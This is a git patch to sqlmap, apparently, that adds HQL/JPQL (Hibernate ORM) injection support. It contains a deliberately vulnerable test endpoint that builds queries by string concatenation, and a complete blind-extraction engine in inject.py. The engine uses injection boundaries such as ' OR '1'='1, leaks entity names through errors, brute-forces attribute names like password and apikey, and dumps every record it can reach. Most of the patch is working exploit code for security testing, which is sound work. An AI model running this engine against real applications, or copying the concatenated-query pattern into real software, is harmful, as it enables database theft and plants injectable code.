From d0f16b284d306dc5c4bdd70d8c8cf6d11b9780f8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Fri, 10 Jul 2026 10:38:20 +0200 Subject: [PATCH] Adding support for --hql --- extra/vulnserver/vulnserver.py | 102 +++++++ lib/controller/checks.py | 8 + lib/controller/controller.py | 9 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 50 +++- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/hql/__init__.py | 8 + lib/techniques/hql/inject.py | 493 +++++++++++++++++++++++++++++++++ tests/test_hql.py | 229 +++++++++++++++ 10 files changed, 901 insertions(+), 3 deletions(-) create mode 100644 lib/techniques/hql/__init__.py create mode 100644 lib/techniques/hql/inject.py create mode 100644 tests/test_hql.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 80290048c..7a432e8ee 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -218,6 +218,92 @@ def nosql_match(params): else: # $eq, $in (single-valued here) and any literal equality return record == value +# --- HQL endpoint (vulnerable Hibernate ORM search over a single mapped entity) ------------------- +# The query "FROM Users u WHERE u.name = ''" is built by string concatenation; the evaluator +# below reproduces just enough HQL semantics (boolean logic, EXISTS, scalar sub-queries, path +# resolution) to make sqlmap's --hql engine detect, fingerprint, leak the entity, enumerate mapped +# attributes and blindly extract their values. Unlike the local Hibernate lab, this endpoint reflects +# the parser diagnostic, so it also exercises the error-based entity-leak path. + +HQL_ENTITY = "org.vulnserver.model.Users" +HQL_RECORD = {"id": "1", "name": "admin", "password": "s3cr3t", "role": "administrator", "email": "admin@vulnserver.local"} + + +class _HqlError(Exception): + pass + + +def _hql_short(name): + return re.split(r"[.$]", name)[-1] + + +def _hql_no_row(atom): + """True when a row-walk bound "_h2. > " excludes the only record, so the + scalar sub-query resolves to NULL and its comparison is false.""" + + match = re.search(r"_h2\.\w+>(\d+)", atom) + return bool(match) and int(HQL_RECORD["id"]) <= int(match.group(1)) + + +def _hql_atom(atom): + atom = atom.strip() + + match = re.match(r"^'([^']*)'\s*=\s*'([^']*)'$", atom) # literal '1'='1' + if match: + return match.group(1) == match.group(2) + + match = re.match(r"^\w+\s*=\s*'([^']*)'$", atom) # outer: name = 'X' + if match: + return HQL_RECORD["name"] == match.group(1) + + match = re.match(r"^EXISTS\(SELECT 1 FROM (\w+) _h\)$", atom, re.I) # entity brute + if match: + if _hql_short(match.group(1)) != _hql_short(HQL_ENTITY): + raise _HqlError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity '%s'" % match.group(1)) + return True + + match = re.match(r"^EXISTS\(SELECT _h\.(\w+) FROM (\w+) _h\)$", atom, re.I) # attribute existence + if match: + attr = match.group(1) + if _hql_short(match.group(2)) != _hql_short(HQL_ENTITY) or attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return True + + match = re.match(r"^\(SELECT LENGTH\(CAST\(_h\.(\w+) AS string\)\).*?\)\s*>=\s*(\d+)$", atom, re.I) # scalar length + if match: + attr, n = match.group(1), int(match.group(2)) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): # row-walk cursor advanced past the only record + return False + return len(HQL_RECORD[attr]) >= n + + match = re.match(r"^\(SELECT SUBSTRING\(CAST\(_h\.(\w+) AS string\),(\d+),1\).*?\)\s*=\s*'(.)'$", atom, re.I) # scalar char + if match: + attr, pos, ch = match.group(1), int(match.group(2)), match.group(3) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + if _hql_no_row(atom): + return False + value = HQL_RECORD[attr] + return pos <= len(value) and value[pos - 1] == ch + + match = re.match(r"^(?:\w+\.)?(\w+)\s+IS NOT NULL$", atom, re.I) # path probe (entity leak) + if match: + attr = match.group(1) + if attr not in HQL_RECORD: + raise _HqlError("org.hibernate.query.sqm.PathElementException: Could not resolve attribute '%s' of '%s'" % (attr, HQL_ENTITY)) + return HQL_RECORD[attr] is not None + + raise _HqlError("org.hibernate.query.SyntaxException: unexpected token near '%s'" % atom[:24]) + + +def hql_evaluate(value): + """Evaluate "name = ''" as an HQL boolean; returns True/False or raises _HqlError.""" + + clause = "name = '%s'" % value + return any(all(_hql_atom(a) for a in term.split(" AND ")) for term in clause.split(" OR ")) + # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ XPATH_XML = """ @@ -968,6 +1054,22 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/hql/search": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + name = self.params.get("name", "") + try: + matched = hql_evaluate(name) # VULNERABLE: input concatenated into HQL + output = json.dumps({"results": [HQL_RECORD] if matched else [], "count": 1 if matched else 0}) + except _HqlError as ex: + output = json.dumps({"results": [], "count": 0, "error": str(ex)}) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/xpath/search": self.send_response(OK) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index a33fd421f..d190d4782 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -83,6 +83,7 @@ from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET +from lib.core.settings import HQL_ERROR_REGEX from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX @@ -1216,6 +1217,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.hql and re.search(HQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (HQL) test shows that %sparameter '%s' might be vulnerable to HQL/JPQL (Hibernate ORM) injection (rerun with switch '--hql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index e81daaf48..48f137e9a 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -529,8 +529,8 @@ def start(): checkWaf() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -562,6 +562,11 @@ def start(): xxeScan() continue + if conf.hql: + from lib.techniques.hql.inject import hqlScan + hqlScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index f51325e48..504182e22 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -126,6 +126,7 @@ optDict = { "xpath": "boolean", "ssti": "boolean", "xxe": "boolean", + "hql": "boolean", "oobServer": "string", "oobToken": "string", "timeSec": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index ef706ccad..062df34ac 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.65" +VERSION = "1.10.7.66" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1159,6 +1159,54 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi XXE_BLACKHOLE_HOST = "192.0.2.1" XXE_TIME_THRESHOLD = 5 +# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based +# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment). +# A match means the injection reached the ORM query parser (not the SQL layer), +# which is what distinguishes HQL injection from ordinary SQL injection. +HQL_ERROR_SIGNATURES = ( + ("Hibernate", r"org\.hibernate\.(?:query|hql|QueryException|exception\.SQLGrammarException)"), + ("Hibernate", r"(?:QuerySyntaxException|QueryException|SemanticException|PathElementException|UnknownEntityException|InterpretationException)"), + ("Hibernate", r"(?:token recognition error at|unexpected (?:token|end of subtree|AST node)|Could not (?:resolve|interpret) (?:attribute|root entity|path|property)|line \d+:\d+ (?:no viable alternative|mismatched input|token recognition error))"), + ("EclipseLink / JPQL", r"(?:org\.eclipse\.persistence\.exceptions\.JPQLException|Exception \[EclipseLink|Problem compiling \[|An exception occurred while creating a query)"), + ("JPA / JPQL", r"(?:javax|jakarta)\.persistence\.(?:PersistenceException|Query(?:Syntax|Timeout)?Exception)"), + ("Generic HQL/JPQL", r"(?:HQL|JPQL|EJBQL)\b.*?(?:error|exception|syntax|not (?:mapped|resolve))"), +) + +HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) + +# Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the +# ORM equivalent of a leaked table name; HQL has no information_schema so error-based +# leakage is the native way to learn the entity model). First capture group = name. +HQL_ENTITY_REGEX = ( + r"(?:attribute|property|path) '[^']+' of '([\w.$]+)'", + r"resolve root entity '([^']+)'", + r"(?:entity|class) ['\"]?([\w.$]+[\w$])['\"]? is not mapped", +) + +# Printable-ASCII codepoint bounds bisected during HQL blind character extraction +HQL_CHAR_MIN = 0x20 +HQL_CHAR_MAX = 0x7e + +# Upper bound for the value-length search during HQL blind extraction +HQL_MAX_LENGTH = 256 + +# Maximum number of attributes to enumerate per entity during HQL blind extraction +HQL_MAX_FIELDS = 64 + +# Maximum number of records walked (ordered by a numeric pin) during HQL blind dump +HQL_MAX_RECORDS = 100 + +# Common mapped entity names brute-forced through the boolean oracle when the app +# does not reflect Hibernate diagnostics (a mapped name keeps the query valid; an +# unmapped one raises UnknownEntityException and reads as false). +HQL_COMMON_ENTITIES = ( + "User", "Users", "Account", "Accounts", "Member", "Members", "Customer", + "Customers", "Person", "People", "Employee", "Admin", "Login", "Credential", + "Profile", "Role", "Client", "Contact", "Company", "Product", "Order", + "Item", "Article", "Post", "Comment", "Category", "Document", "File", + "Message", "Group", "Session", "Token", "Application", "Setting", +) + XXE_IMPACT_FILES = ( ("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal ("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"), diff --git a/lib/core/testing.py b/lib/core/testing.py index bd3f872c0..cc0215baa 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe + ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index f603961bc..c1e0f9ed9 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -796,6 +796,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--xxe", dest="xxe", action="store_true", help="Test for XML External Entity (XXE) injection") + nonsql.add_argument("--hql", dest="hql", action="store_true", + help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--oob-server", dest="oobServer", help="Out-of-band server for blind '--xxe'") diff --git a/lib/techniques/hql/__init__.py b/lib/techniques/hql/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/hql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/hql/inject.py b/lib/techniques/hql/inject.py new file mode 100644 index 000000000..96fb8e495 --- /dev/null +++ b/lib/techniques/hql/inject.py @@ -0,0 +1,493 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import re +import time + +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import HQL_CHAR_MAX +from lib.core.settings import HQL_CHAR_MIN +from lib.core.settings import HQL_COMMON_ENTITIES +from lib.core.settings import HQL_ENTITY_REGEX +from lib.core.settings import HQL_ERROR_REGEX +from lib.core.settings import HQL_ERROR_SIGNATURES +from lib.core.settings import HQL_MAX_FIELDS +from lib.core.settings import HQL_MAX_LENGTH +from lib.core.settings import HQL_MAX_RECORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + + +SENTINEL = randomStr(length=10, lowercase=True) + +HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST) + +# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is +# known. HQL has no information_schema, so a mapped attribute either resolves +# (valid query) or raises a PathElementException (error page); that difference is +# the enumeration oracle. Ordered by real-world frequency. +HQL_COMMON_FIELDS = ( + "id", "name", "username", "user", "login", "email", "mail", "password", + "passwd", "pass", "pwd", "secret", "token", "apikey", "role", "roles", + "firstname", "lastname", "fullname", "phone", "address", "city", "country", + "active", "enabled", "created", "updated", "description", "title", "status", + "type", "code", "key", "hash", "salt", "uuid", "owner", "amount", "price", +) + +# Detection boundaries, priority-ordered. Each is (true, false, extraction prefix, +# extraction suffix, sentinel-based). The application's own trailing delimiter +# (the closing quote it appends after the injected value) balances the suffix, so +# no comment is needed (HQL frequently rejects SQL line comments anyway). +_BOUNDARY_TABLE = ( + # (true_breakout, false_breakout, ext_prefix, ext_suffix, sentinel ) + ("' OR '1'='1", "' AND '1'='2", "' OR ", " OR '1'='2", True), + ('" OR "1"="1', '" AND "1"="2', '" OR ', ' OR "1"="2', True), + (" OR 1=1", " AND 1=2", " OR ", "", False), +) + +# Boundary carries the extraction prefix/suffix and whether the base value must be +# a non-matching sentinel (OR-style) so a true predicate flips an empty result set. +Boundary = namedtuple("Boundary", ("prefix", "suffix", "sentinel")) + +Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle", "boundary", "payload")) +Slot.__new__.__defaults__ = (None,) * 7 + + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _delim(place): + return (conf.cookieDel or ';') if place == PLACE.COOKIE else '&' + + +def _confParameters(place): + try: + return conf.parameters.get(place, "") + except AttributeError: + return conf.parameters[place] if place in conf.parameters else "" + + +def _originalValue(place, parameter): + for segment in _confParameters(place).split(_delim(place)): + name, _, value = segment.partition('=') + if name.strip() == parameter: + return value + return conf.paramDict.get(place, {}).get(parameter) or "" + + +def _replaceSegment(place, parameter, value): + delimiter = _delim(place) + raw = _confParameters(place) + retVal, replaced = [], False + + for part in raw.split(delimiter): + name, _, _ = part.partition('=') + if not replaced and name.strip() == parameter: + retVal.append("%s=%s" % (name, value)) + replaced = True + else: + retVal.append(part) + + if not replaced: + retVal = [] + for name, oldValue in conf.paramDict.get(place, {}).items(): + retVal.append("%s=%s" % (name, value if name == parameter else oldValue)) + + return delimiter.join(retVal) + + +def _send(place, parameter, value): + """Issue a single HTTP request with the target parameter set to `value`, + temporarily mutating conf.parameters so sqlmap's normal request machinery + (URL construction, cookies, headers, encodings) is fully preserved.""" + + if conf.delay: + time.sleep(conf.delay) + + old_params = conf.parameters.get(place, "") + conf.parameters[place] = _replaceSegment(place, parameter, value) + + try: + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) + page, _, _ = Request.getPage(raise404=False, silent=True) + return page or "" + except Exception as ex: + logger.debug("HQL probe request failed: %s" % getUnicode(ex)) + return "" + finally: + conf.parameters[place] = old_params + + +def _isError(page): + return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or ""))) + + +def _backendFromError(page): + page = getUnicode(page or "") + for backend, regex in HQL_ERROR_SIGNATURES: + if re.search(regex, page): + return backend + return None + + +def _entityFromError(page): + page = getUnicode(page or "") + for regex in HQL_ENTITY_REGEX: + match = re.search(regex, page) + if match: + return match.group(1) + return None + + +def _probeError(place, parameter): + """Break the HQL string/numeric context and look for an ORM parser diagnostic. + Returns (backend, page) - a hint only; the boolean oracle is authoritative.""" + + original = _originalValue(place, parameter) or "1" + normal = _send(place, parameter, original) + + for suffix in ("'", '"', "'||", " and", ")"): + broken = _send(place, parameter, original + suffix) + if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND: + continue + backend = _backendFromError(broken) + if backend and not _isError(normal): + return backend, broken + + return None, None + + +def _boolean(truthy, falsy): + """Return the reproducible true page when true/false probes diverge (both must + be independently reproducible), else None.""" + + truePage = truthy() + if truePage is None or _isError(truePage): + return None + if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND: + return None + + falsePage = falsy() + if falsePage is None or _isError(falsePage): + return None + if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: + return None + + if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: + return truePage + + return None + + +def _detectBoolean(place, parameter): + """Return (template, payload, boundary) for boolean-blind HQL injection.""" + + original = _originalValue(place, parameter) or "" + + for true_bk, false_bk, prefix, suffix, sentinel in _BOUNDARY_TABLE: + truePayload = original + true_bk + falsePayload = original + false_bk + template = _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + if template: + return template, truePayload, Boundary(prefix, suffix, sentinel) + + return None, None, None + + +def _base(boundary, original): + # OR-style boundaries need a base value that matches no row so a true predicate + # flips an empty result set into a populated one; AND-style keeps the original. + if boundary.sentinel: + return SENTINEL + return "-1" + + +def _wrap(original, boundary, predicate): + return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix) + + +def _makeOracle(place, parameter, template, boundary, original): + """Build oracle(predicate) -> bool from a verified true template.""" + + cache = {} + base = _base(boundary, original) + + def request(payload): + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + return cache[payload] + + def truth(predicate): + page = request(_wrap(base, boundary, predicate)) + if page is None or _isError(page): + return False + return _ratio(template, page) >= UPPER_RATIO_BOUND + + truth.template = template + truth.cache = cache + return truth + + +def _leakEntity(place, parameter, boundary, original): + """Force a path-resolution error to leak the mapped entity name. An unqualified + identifier resolves against the query root, so a random one yields e.g. + "Could not resolve attribute 'xyz' of 'com.app.User'".""" + + base = _base(boundary, original) + marker = randomStr(length=8, lowercase=True) + + for reference in ("%s", "u.%s", "e.%s", "o.%s", "x.%s", "this.%s"): + predicate = "%s IS NOT NULL" % (reference % marker) + page = _send(place, parameter, _wrap(base, boundary, predicate)) + entity = _entityFromError(page) + if entity: + return entity + + return None + + +def _shortEntity(entity): + # com.app.model.User -> User ; lab.App$Member -> Member + return re.split(r"[.$]", entity)[-1] if entity else entity + + +def _bruteEntities(truth): + """Recover mapped entity names through the boolean oracle alone (no reflected + diagnostic needed): a mapped name keeps the FROM clause valid, an unmapped one + raises UnknownEntityException and reads as false. Returns every match so the + whole reachable model can be dumped, not just the injected query's entity.""" + + retVal = [] + for entity in HQL_COMMON_ENTITIES: + if truth("EXISTS(SELECT 1 FROM %s _h)" % entity): + retVal.append(entity) + return retVal + + +def _enumFields(truth, entity): + """Probe common attribute names against the entity; a name that resolves keeps + the query valid (oracle true), a missing one raises and reads as false.""" + + fields = [] + for field in HQL_COMMON_FIELDS: + if len(fields) >= HQL_MAX_FIELDS: + break + predicate = "EXISTS(SELECT _h.%s FROM %s _h)" % (field, entity) + if truth(predicate): + fields.append(field) + logger.info("identified mapped attribute: '%s'" % field) + return fields + + +# Frequency-ordered printable charset for blind character extraction +_META_ORDS = set(ord(_) for _ in ("'", '"', '\\')) +_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + + tuple(xrange(ord('A'), ord('Z') + 1)) + + tuple(xrange(ord('0'), ord('9') + 1)) + + tuple(ord(_) for _ in "@._- +:/")) +_CHARSET = [] +for _ in _FREQ: + if HQL_CHAR_MIN <= _ <= HQL_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) +for _ in xrange(HQL_CHAR_MIN, HQL_CHAR_MAX + 1): + if _ not in _META_ORDS and _ not in _CHARSET: + _CHARSET.append(_) + + +def _scalar(entity, attribute, expr, pin, after=None): + """Scalar subquery over a single `entity` row selected by the smallest `pin` + (optionally the smallest strictly greater than `after`, to walk rows in order). + Alias-independent, so it works regardless of the outer query's alias. `expr` + wraps the attribute, cast to string so numeric/temporal values extract too.""" + + bound = "" if after is None else " WHERE _h2.%s>%s" % (pin, after) + target = "CAST(_h.%s AS string)" % attribute + inner = "SELECT %s FROM %s _h WHERE _h.%s=(SELECT MIN(_h2.%s) FROM %s _h2%s)" % ( + expr % target, entity, pin, pin, entity, bound) + return "(%s)" % inner + + +def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH): + """Blindly recover one attribute value of the row selected by `pin`/`after`.""" + + # length first, by binary search + lengthExpr = _scalar(entity, attribute, "LENGTH(%s)", pin, after) + if not truth("%s>=1" % lengthExpr): + return "" + + lo, hi = 1, maxLen + while lo < hi: + mid = (lo + hi + 1) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + lo = mid + else: + hi = mid - 1 + length = lo + + chars = [] + for pos in xrange(1, length + 1): + charExpr = _scalar(entity, attribute, "SUBSTRING(%%s,%d,1)" % pos, pin, after) + found = None + for cp in _CHARSET: + literal = chr(cp) + if truth("%s='%s'" % (charExpr, literal)): + found = literal + break + chars.append(found if found is not None else "?") + + return "".join(chars) + + +def _grid(columns, rows): + columns = [getUnicode(_) for _ in columns] + rows = [[getUnicode(_) for _ in row] for row in rows] + + widths = [] + for index, column in enumerate(columns): + width = len(column) + for row in rows: + if index < len(row): + width = max(width, len(getUnicode(row[index]))) + widths.append(width) + + separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+" + + def line(cells): + return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |" + + return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator]) + + +def _dumpEntity(oracle, place, parameter, entity): + """Enumerate an entity's mapped attributes and blindly dump all of its rows.""" + + logger.info("enumerating mapped attributes of entity '%s'" % entity) + fields = _enumFields(oracle, entity) + if not fields: + logger.warning("entity '%s' confirmed but no common attribute resolved; the model may use non-standard names" % entity) + return + + pin = "id" if "id" in fields else fields[0] + columns = list(fields) + + # Walk records in ascending pin order: each row is pinned to the smallest pin + # value strictly greater than the previous one. A numeric pin is required to + # advance the cursor; otherwise only the first (smallest-pin) row is recovered. + rows = [] + after = None + for _ in xrange(HQL_MAX_RECORDS): + pinValue = _inferValue(oracle, entity, pin, pin, after) + if not pinValue: + break + + record = {pin: pinValue} + for field in fields: + if field != pin: + record[field] = _inferValue(oracle, entity, field, pin, after) + rows.append([record.get(_, "") for _ in fields]) + logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields)) + + if not re.match(r"\A\d+\Z", pinValue): + break + after = pinValue + + conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows))) + + +def hqlScan(): + global SENTINEL + SENTINEL = randomStr(length=10, lowercase=True) + + debugMsg = "'--hql' is self-contained: it detects HQL/JPQL (Hibernate ORM) injection " + debugMsg += "and blindly recovers the mapped entity model. SQL enumeration switches " + debugMsg += "(--banner, --dbs, --tables, --users, --sql-query) do not apply" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + slots = [] + + for place in (_ for _ in HQL_PLACES if _ in conf.paramDict): + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing HQL injection on %s parameter '%s'" % (place, parameter)) + + backendHint, _page = _probeError(place, parameter) + if backendHint: + logger.info("%s parameter '%s' reaches an ORM query parser (back-end: '%s')" % (place, parameter, backendHint)) + + template, payload, boundary = _detectBoolean(place, parameter) + if not template: + if backendHint: + logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter)) + continue + + backend = backendHint or "Hibernate" + original = _originalValue(place, parameter) + # Error leakage only helps when the app actually reflects diagnostics + entity = _leakEntity(place, parameter, boundary, original) if backendHint else None + logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else "")) + if conf.beep: + beep() + + oracle = _makeOracle(place, parameter, template, boundary, original) + slots.append(Slot(place=place, parameter=parameter, backend=backend, + entity=entity, oracle=oracle, boundary=boundary, payload=payload)) + + if not slots: + if tested: + logger.warning("no parameter appears to be injectable via HQL injection (%d tested)" % tested) + else: + logger.warning("no parameters found to test for HQL injection") + return + + for slot in slots: + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.payload)) + + # Blind extraction covers as much of the mapped model as reachable: the error-leaked + # entity (if any) plus every common entity the boolean oracle confirms is mapped. + slot = next((_ for _ in slots if _.entity), slots[0]) + + entities = [] + leaked = _shortEntity(slot.entity) + if leaked: + entities.append(leaked) + + logger.info("recovering mapped entities through the boolean oracle") + for entity in _bruteEntities(slot.oracle): + if entity not in entities: + entities.append(entity) + + if not entities: + logger.info("HQL injection confirmed; could not resolve a mapped entity for blind extraction") + logger.info("HQL scan complete") + return + + logger.info("dumping %d reachable entit%s: %s" % (len(entities), "y" if len(entities) == 1 else "ies", ", ".join("'%s'" % _ for _ in entities))) + for entity in entities: + _dumpEntity(slot.oracle, slot.place, slot.parameter, entity) + + logger.info("HQL scan complete") diff --git a/tests/test_hql.py b/tests/test_hql.py new file mode 100644 index 000000000..a70292921 --- /dev/null +++ b/tests/test_hql.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the HQL/JPQL (Hibernate ORM) injection engine. Mock +oracles stand in for the HTTP/ORM layer so detection, fingerprinting, entity leakage, +blind attribute enumeration, value extraction and output formatting can be exercised +without a live Hibernate target. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.techniques.hql.inject as hql + + +class TestHelpers(unittest.TestCase): + def test_ratio(self): + self.assertGreater(hql._ratio("abc", "abc"), 0.9) + self.assertLess(hql._ratio("abc", "xyz"), 0.5) + + def test_is_error(self): + self.assertTrue(hql._isError("org.hibernate.query.SyntaxException: token recognition error at: '''")) + self.assertTrue(hql._isError("org.hibernate.query.sqm.UnknownEntityException: Could not resolve root entity 'Ghost'")) + 